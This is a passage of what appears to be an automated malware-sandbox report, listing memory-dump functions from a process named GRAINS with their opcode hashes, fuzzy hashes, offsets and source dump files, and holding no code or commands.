Opcode Fuzzy Hash: 33b84251905437bdd83f2b78f938bb2d467816e73ff1669ef1919e4888533036
Instruction Fuzzy Hash: 6C11A375B002599FCF50EFA998087AE7BF5EB88751F11406AE955DB380DB70C842CBA4

Function 0A48AF89 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 815cd8da7fddcbee10e2a589ee718719db6f5ddc5a46d50ff9ae3100fedf8354
Instruction ID: 885f310e044abfb36394732aefba80a3bbf10a389b30641a30a3bbacebb65827
Opcode Fuzzy Hash: 815cd8da7fddcbee10e2a589ee718719db6f5ddc5a46d50ff9ae3100fedf8354
Instruction Fuzzy Hash: 4B2180B8A02219AFDB04DFA8E594AADB7B2FF49700F214159F905AB361CB30AD41CB50

Function 04A7D09B Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1513872458.0000000004A7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4a7d000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68f23689783ee193ef4241e01da0a072ac63c006a0352e52361daec837945917
Instruction ID: 3c419a117633c3b82b9b76d2c0f35f607d400dc7c9d851e0f1fba747956c2e56
Opcode Fuzzy Hash: 68f23689783ee193ef4241e01da0a072ac63c006a0352e52361daec837945917
Instruction Fuzzy Hash: 8D11B276505284CFCB15CF14DAC4B16BF71FF84324F28C6A9D8494B656C33AE45ACBA2

Function 0A48B218 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfaf6c0b380db1e3fba27652ae1b1c1987ea85d7577e77a6cb495d46ba9745db
Instruction ID: 787060d177a994e8fdfc79001c6f977b42be7974d9708c5f99876dac16d2d95c
Opcode Fuzzy Hash: bfaf6c0b380db1e3fba27652ae1b1c1987ea85d7577e77a6cb495d46ba9745db
Instruction Fuzzy Hash: 7C11A379B00255EFCF54DFA99808BAE7BF1EB88750F05406AE895DB381DB70C942CB94

Function 0A3BC734 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1510a3dc97874744b426147cddb75ecb09e4ae1bc2e7a317d54db5eacbb13e1
Instruction ID: 735d4491bfce9d79b634abda7df439fdf61cdbe5977cd1c9e0598feb76ddf710
Opcode Fuzzy Hash: f1510a3dc97874744b426147cddb75ecb09e4ae1bc2e7a317d54db5eacbb13e1
Instruction Fuzzy Hash: 412115B0D11218DFDB64CF26D888BD9B7B2FB49301F44A0A6D50DA3655DB3499C8CF00

Function 0A48BEE0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eb5996fcd8ae050930db3054bc7056d15760dffb6ed67195b638eb4b01df6b1
Instruction ID: c48519f0b8b6852fbe877842d08ff7c82a084f05fce113dd9075dafc89138153
Opcode Fuzzy Hash: 3eb5996fcd8ae050930db3054bc7056d15760dffb6ed67195b638eb4b01df6b1
Instruction Fuzzy Hash: 2301D2762142185FDB54EAA8F440ADFBFE4EB40360F1480ABE588C7251D631D984CB50

Function 0A486F40 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03698d2bbcbde0363be32dac22434b323219d122ed67510820a50905a13f7710
Instruction ID: 22e5b038cc2dba944436db0c5c533b56d7ccbeaef7bafe55d713da078c3f72c8
Opcode Fuzzy Hash: 03698d2bbcbde0363be32dac22434b323219d122ed67510820a50905a13f7710
Instruction Fuzzy Hash: 10216DB4E04218DFEB64DF5AE4547EEB7B6EB4A300F0184AA9919A3250CB7499858F41

Function 078E2830 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1545743564.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_78e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05c1b45ad6806bc10c58d46171150abe146e31df21a10da2da58c3169526fb0f
Instruction ID: 702f14bcf1fcaf149749a86cd8b22c98f5681d0edd3c115c196f77b71b79bb73
Opcode Fuzzy Hash: 05c1b45ad6806bc10c58d46171150abe146e31df21a10da2da58c3169526fb0f
Instruction Fuzzy Hash: BD11C4F6A00B2ACFCB54DF19C500A66B7FDBFA6314F1881A6C819C7220D731C942CB91

Function 0A48AE68 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99bf71c3233d8d4dc23b71824edfbf032c313f65664dbd5525fb909f34e984ad
Instruction ID: b3dcc88f0c365f1b60500a07ebc7fc1d0ba40b3e0d66843c6365aec56e3437b5
Opcode Fuzzy Hash: 99bf71c3233d8d4dc23b71824edfbf032c313f65664dbd5525fb909f34e984ad
Instruction Fuzzy Hash: 66018436340214AFDB009E59EC84FAF77A9EB88721F10806AFA14CB291CAB1DC008B50

Function 0A4877BD Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81c0bb6bb49b1f11fa3b8cf005db9d719798d0e96b4d37c4bc520ab4c94ad9d7
Instruction ID: 8a6a3e0f8299a929dbab35e5bea6c2254ecc3155eee1071f70b14467dd7e356c
Opcode Fuzzy Hash: 81c0bb6bb49b1f11fa3b8cf005db9d719798d0e96b4d37c4bc520ab4c94ad9d7
Instruction Fuzzy Hash: 11211DB4A00218DFDB60DF59E8987DEB7B2FB49305F1040AAD90AA3794DB349D85CF50

Function 0A7FA390 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa5e2eb7350018af0488f986d82c2398ebabaf6f013841e623ef9785acfb247c
Instruction ID: d473024c52e8c78e2aa4293215d56be720d2b513bc0b216f8d87d3408af960c9
Opcode Fuzzy Hash: aa5e2eb7350018af0488f986d82c2398ebabaf6f013841e623ef9785acfb247c
Instruction Fuzzy Hash: FA11B2B4E00209DFCB44DFA8D148AAEBBF5FF49200F1084AAD919A7351D7349A45CF91

Function 0A426B30 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ff3a04731ee75366edadd3ac897a80add5fe4f10cda91591d80252c5b4aff82
Instruction ID: e0f0a66f959119746aa5e9b76df7d601c33552d39011a86eb92368d1eae51523
Opcode Fuzzy Hash: 7ff3a04731ee75366edadd3ac897a80add5fe4f10cda91591d80252c5b4aff82
Instruction Fuzzy Hash: 8D012631701218AFCB44DB64E894BDABBF6EBC9300F1040A9D149A7352CA31AD45CB40

Function 0A489A38 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5ccf507ce464b7fd3cf058ce47ac76e641ffa7e8fd9ee52dd9fbc3dbddc63d0
Instruction ID: 5c133549c7bcb50ac2ca2f20e68c9d759d3cd28e9d7a600768f5e7232d66783e
Opcode Fuzzy Hash: a5ccf507ce464b7fd3cf058ce47ac76e641ffa7e8fd9ee52dd9fbc3dbddc63d0
Instruction Fuzzy Hash: 5A016834B05691AFD715DB28E4447BEFBB1EFCA310F0480AAD8459B392CB72AC01C790

Function 0A427CBF Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a3ea68297a75e523e8f0ae1286c7f355ef8d0780a30a329701f5fb9a799b10f
Instruction ID: 7be583ae88fda2f4765e3af8c829c1f70f6934f11d75a87367990e5165329556
Opcode Fuzzy Hash: 9a3ea68297a75e523e8f0ae1286c7f355ef8d0780a30a329701f5fb9a799b10f
Instruction Fuzzy Hash: 60018039E146189FCB11DFA9D5089EEBBF0EF89300F51859ED15AA7321D7709A08CF51

Function 0A3BD63F Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 963f4adf7cdaf6dcb84d0f63f43c7bcb7c13f121b43061a3f5cb33ce4e137e88
Instruction ID: 045c8cdbc2af9db00e1a4d09450ba6d58a5b9ad6ffd3e2e9c384b6d7bb36b234
Opcode Fuzzy Hash: 963f4adf7cdaf6dcb84d0f63f43c7bcb7c13f121b43061a3f5cb33ce4e137e88
Instruction Fuzzy Hash: 640100B0D193499FCB64CFB8C0402EEBFB6EB4A300F6481AAC149D7652C3348685CF81

Function 04F4B0D1 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38e15d36e944812d0bc35a377d73c04417207d936c1ae7457ffe8fd75144efdc
Instruction ID: ccc884d7f42bbdfc4839292ca4cf71021b0bd57db6a16e88f92b3b168f10a0d6
Opcode Fuzzy Hash: 38e15d36e944812d0bc35a377d73c04417207d936c1ae7457ffe8fd75144efdc
Instruction Fuzzy Hash: 9F019232D0474B8FCB00DBA4D8014DEBBB19FCA730F154356D6417B151DB702599CBA1

Function 04A6D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1513756226.0000000004A6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4a6d000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 187e3cb6ced285a8d8bbc492b39d4d43b6269900da408df7c6bd233624da629f
Instruction ID: 6e01913850906c8fc4f13ff948b7284d03935aba1a5a8c1319005a19a789d467
Opcode Fuzzy Hash: 187e3cb6ced285a8d8bbc492b39d4d43b6269900da408df7c6bd233624da629f
Instruction Fuzzy Hash: A401D4716043449AF7204F11D8C4B66BF98DB816A5F18C02AEC0B0A582D678A441C6B1

Function 04F4A699 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57b1bc986fb543bcb5b128b253664d1bef215bf3b203f485956709390a55548a
Instruction ID: 33f2e82298321e59ad185eb457f369e8d21b42d76399611a8087ec8706a8b7bb
Opcode Fuzzy Hash: 57b1bc986fb543bcb5b128b253664d1bef215bf3b203f485956709390a55548a
Instruction Fuzzy Hash: BD018C32C0534B8BCB00DBA5C8400DEBFB1EFCA220F154652C2117B0A0EB70269AC791

Function 04F4B648 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c0e21f8437c44b9b05b0df724e3f941ce08a3b0336e3d2fd0b3f0412b90514
Instruction ID: 5701af0a9e62a7df686710e4f80f274125e5dc033cc1d279d3589a57d81e5d6a
Opcode Fuzzy Hash: 74c0e21f8437c44b9b05b0df724e3f941ce08a3b0336e3d2fd0b3f0412b90514
Instruction Fuzzy Hash: 55019E33D0574B8BCB00DBB5D8014DEBB76AFDA720B158652D6117B1A0EB702599CBA1

Function 0A4874BF Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60fc302254e672d056c0418bc5c769210039898e48bfd99abcefed05b4ba6f34
Instruction ID: f0ca7e0f934b9be03fde1f4e58d9f35ee0629aa020f9eb28cb38500ad34b96c8
Opcode Fuzzy Hash: 60fc302254e672d056c0418bc5c769210039898e48bfd99abcefed05b4ba6f34
Instruction Fuzzy Hash: B9115EB0D052089FEB64EFA5E5947AEBBB2EB45700F209459C40AA7354DB345D85CF40

Function 0A424C60 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b77df36e5a5ea511a5e7fc380cdccada2a1c4cdc5bac66879c815ac314d098
Instruction ID: 0cea0712af0dd30f5026994cd404548a1962cd54abc40bbfce94d860d1434333
Opcode Fuzzy Hash: a4b77df36e5a5ea511a5e7fc380cdccada2a1c4cdc5bac66879c815ac314d098
Instruction Fuzzy Hash: F2018834700320DFE7289B25D454A2B77A3EBC9321F52866DE6624B790CB76E842DB80

Function 04A6D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1513756226.0000000004A6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4a6d000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cabb8b50ec41830aed0b4a9c4a60b01ec869560af9fa5bec1c9f934351f34659
Instruction ID: 1010a7c34600b162382513d4831bd86fba88411988a8e54e55d7f9768bc8766e
Opcode Fuzzy Hash: cabb8b50ec41830aed0b4a9c4a60b01ec869560af9fa5bec1c9f934351f34659
Instruction Fuzzy Hash: 9B015E7110E3C09FE7128B259894B52BFB4DF43265F1980DBD8898F1A3C2699849C772

Function 078E1564 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1545743564.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_78e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1902104864b6403cacb747f40a01346cf38e633420d4132856db7e430b871e57
Instruction ID: e54a3f8389af2f187308746b6b2496952d98697d43134e7b09c05a5ed31c92ca
Opcode Fuzzy Hash: 1902104864b6403cacb747f40a01346cf38e633420d4132856db7e430b871e57
Instruction Fuzzy Hash: 4401B5B0B002089FDA24DB589454A9EB7A6AB9A304B108115D9059B641DF32ED42D791

Function 04F4C5E8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e4ea529df633dda1e8f61cfdcf7cc1559b4ca63527fd61bfaae30548280217
Instruction ID: 8f735ba8a4621784a6c9f3bc3d19caaa7b863e7018483bfd3fc86e625580273b
Opcode Fuzzy Hash: c0e4ea529df633dda1e8f61cfdcf7cc1559b4ca63527fd61bfaae30548280217
Instruction Fuzzy Hash: 7701F43120A255DFC745DF64F4487D97FE6DB8A324F2560A7D10CC7641DA39A8868B44

Function 0A489A48 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c33d5cd24b7b15268adacfe60a2dfca87f7457b658da9725ed5c7e56277bf739
Instruction ID: 5bafd11860166e1f0e77ff49764029775e46df29ce584bcf9cb03d3910dffc74
Opcode Fuzzy Hash: c33d5cd24b7b15268adacfe60a2dfca87f7457b658da9725ed5c7e56277bf739
Instruction Fuzzy Hash: 7501AD35B00521AFDB18DB58E44876EF7B5EFC9660F1481AAD856AB351DBB1AC008BD0

Function 0A534FFF Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74d32e2848f65e3825a89be5cece1c13d08b3148e214e0a576a866e5b5fe1175
Instruction ID: b563a3e5cef3460cd7985cd306d849f1bed10d0418e18d0bc9179454f9375d34
Opcode Fuzzy Hash: 74d32e2848f65e3825a89be5cece1c13d08b3148e214e0a576a866e5b5fe1175
Instruction Fuzzy Hash: 5611F071E052099FDB24CFA9D1887ADBBF2FB85301F14A46AD509AB350EB35A985CF40

Function 0A3BF020 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce8e657e5bbb36bc579d6af91cb7f7b005c649fa7b29c45ca606c1ad6c07785f
Instruction ID: 3f60a22ef3e3405617d13def9c90257dd75c60b5f96c2bc2ccc9be70387a9b35
Opcode Fuzzy Hash: ce8e657e5bbb36bc579d6af91cb7f7b005c649fa7b29c45ca606c1ad6c07785f
Instruction Fuzzy Hash: F8F021317100146BDF195A25DC549FAF7A9EFC5310F054069ED59D7321DE30DC178780

Function 04F4A719 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7bef523b537e76943f23da27e3d7868d414b4d67e5c372af21d936380d8a9e7
Instruction ID: f6020da836c2f6bdd26382bbab114fd9fb7ee61ec1ce66fc09224f0e5d7cebe0
Opcode Fuzzy Hash: b7bef523b537e76943f23da27e3d7868d414b4d67e5c372af21d936380d8a9e7
Instruction Fuzzy Hash: 39F02832D002499BDF12DBB4C0559EFBFF95F88710F44856AC502AB241EE756906D7D2

Function 04F4B0E0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f5737a6b1c8a4a3b816e7d3323f4d5a5e9cf61a2b4de58792f11e6365195709
Instruction ID: 33001f7158cdd43c99325db27065edededed6609ad9dff0830646735ca9a43f7
Opcode Fuzzy Hash: 3f5737a6b1c8a4a3b816e7d3323f4d5a5e9cf61a2b4de58792f11e6365195709
Instruction Fuzzy Hash: CE018B32D0070B8BCB00DBA5D8004EEB7B6EFCA730F154711D60137150EB70219A8BA0

Function 0A531F68 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cbf03611f78584cc9771a48cf593a9d1304e331208dd77997a8bf1d49f4918c
Instruction ID: d75889c968128a111e03173adf18428ab82106f400a0e091eb37c7d8eeb7abed
Opcode Fuzzy Hash: 7cbf03611f78584cc9771a48cf593a9d1304e331208dd77997a8bf1d49f4918c
Instruction Fuzzy Hash: 23F02D3A408148EFCF51C67498505BC7FA4BF99200B1043EE944DD7242E7324B12D7D2

Function 0A538538 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0de1becd5d7488fce93dcbf3a9bfdae6ac39da05fb95f5711255b7db195f03e0
Instruction ID: b29ea8b29809b9793fcc73fac43df199351411025cc6835cb051334e4118c682
Opcode Fuzzy Hash: 0de1becd5d7488fce93dcbf3a9bfdae6ac39da05fb95f5711255b7db195f03e0
Instruction Fuzzy Hash: E0017C31C0424AAECF15DFA8C8409EEBBB1FF8A310F149649E99527221C3315556DF90

Function 0A422B58 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b5db154d4a36bd7385e19015046df42c0858d2a8c499c6874ad4f0db0df22cd
Instruction ID: b00828950d3c09295137b7c171507ba1b67c20f627836d9d5eea5727ef731e20
Opcode Fuzzy Hash: 8b5db154d4a36bd7385e19015046df42c0858d2a8c499c6874ad4f0db0df22cd
Instruction Fuzzy Hash: E5016D353007149FC309AB25D518A5AB7B2EBCD7117108129EA0A8B751CF31EC42CBD0

Function 0A427CD0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84169948cbb58d1097d0977e755d71821f25eb26e0c8c5ad5a72056ebdd56093
Instruction ID: 90a443b833042c05c13e80d9124a569dffaca2809d3b54027b4577f0eefa0faa
Opcode Fuzzy Hash: 84169948cbb58d1097d0977e755d71821f25eb26e0c8c5ad5a72056ebdd56093
Instruction Fuzzy Hash: 0D012835E106189FCB00DFA9D5089EEBBF5EF89710B50856AE55AA7310EB30AA04CB91

Function 04F4B6D0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429927aa66980732025d3015dfc9f1ab49f46e8559d9827406d4ebe1fbf8b040
Instruction ID: ac3d6414fce0f943e4d84bf9ebcc2046c8b8b48ad9cdf1de02b0375bcef56c31
Opcode Fuzzy Hash: 429927aa66980732025d3015dfc9f1ab49f46e8559d9827406d4ebe1fbf8b040
Instruction Fuzzy Hash: 5DF0F632A10249DBCF15D7A0C4266EFBFF59F88710F054A29C003AB241DEB47906C7C1

Function 04F4B158 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13e9ab63538753c55f9bd04e6033f5708e2f47faee9d77d6ef7600e7382709da
Instruction ID: c7eb7ca9e60434a7e6e40c32807c79d8a53d210e4382ffd660c6c163d5e6db13
Opcode Fuzzy Hash: 13e9ab63538753c55f9bd04e6033f5708e2f47faee9d77d6ef7600e7382709da
Instruction Fuzzy Hash: 52F0C231A002469BCB05DB64C4599EFBFE24FC8300F15856ED103AB281DEB5690BCB82

Function 0A48DCD0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94dc0fadedceb1be760a496f1375fb5aa202e684a1c0ada62a64e4565c7ce16a
Instruction ID: 3080accbdfe41f265e78bc1e1d618c560376123678f12d6d208ccf5681b8b1f0
Opcode Fuzzy Hash: 94dc0fadedceb1be760a496f1375fb5aa202e684a1c0ada62a64e4565c7ce16a
Instruction Fuzzy Hash: 59F0DF2414FBC02FC70787764879066BFB14D97214B0D18CED6D58F0BBC469882AE763

Function 0A3BD1A0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 853f6c56c72b257aff36de7a42bf860040feb379134f9bfc20bfcccc4a206153
Instruction ID: cdf2d17c2c8b2cd42b4589f2f10fea6dd0e5ce60cd3d48e6e7c7e3a300fb995a
Opcode Fuzzy Hash: 853f6c56c72b257aff36de7a42bf860040feb379134f9bfc20bfcccc4a206153
Instruction Fuzzy Hash: 6B0169B0C06248DFCB55DFA8C4446AEBFF5FF0A200F1044AAC809E7252D7304A84CF92

Function 0A48AE57 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b92fadd2678133d57fd0491797e92d96c8d4c981e66a22b19956b8782ecc2d
Instruction ID: 7e18a2a53b83ba7817b734930823cadb40eb8dede1f4220e6979fc834293892b
Opcode Fuzzy Hash: d0b92fadd2678133d57fd0491797e92d96c8d4c981e66a22b19956b8782ecc2d
Instruction Fuzzy Hash: D0F0907A3456509FC7018F69F884C9F7BF5AFDA22471544AEE805D7321C6B0DC14CB11

